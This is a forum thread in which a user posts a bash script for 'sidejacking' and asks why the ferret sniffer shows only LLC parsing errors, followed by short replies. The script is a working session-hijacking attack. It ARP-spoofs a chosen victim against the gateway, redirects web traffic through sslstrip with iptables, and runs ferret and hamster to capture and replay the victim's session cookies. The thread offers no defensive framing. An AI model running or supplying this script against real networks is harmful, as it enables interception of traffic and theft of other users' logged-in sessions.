Jump to content

Sidejacking...problem....


rufus777

Recommended Posts

I have a problem with "sidejacking". I have used the *.sh


#!/bin/bash
echo "* Firefox_proxy"
echo "* 127.0.0.1:1234"
echo ""
echo -n "Gateway IP: "
read -e ROUTER
echo -n "Target IP: "
read -e VICTIM

mkdir sidejacking
cd sidejacking
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 -t $VICTIM $ROUTER &
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sslstrip -p -k -f &
/pentest/sniffers/hamster/ferret -i wlan0 &
/pentest/sniffers/hamster/hamster

when I use ferret, simply to get:

live (1): LLC: control: unparsed value: 0x0 (0)

live (1): LLC: control: unparsed value: 0x0 (0)

live (1): LLC: control: unparsed value: 0x0 (0)

live (1): LLC: control: unparsed value: 0x0 (0)

m.m

what's the problem?

Link to comment
Share on other sites

Hey Rufus777,

Take a look at this tutorial, it should be able to assist you with your issue

http://hamster.erratasec.com/help/index.html

Link to comment
Share on other sites

yes, i know... when I type in the Shell it works, but sh script that does not work! why?

sorry, I'm not English so well... :blink:

Where did you download the script from?

Link to comment
Share on other sites

I wrote it! :P

I can't tell where the error is, but somewhere along the lines of code, you must've missed something important.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...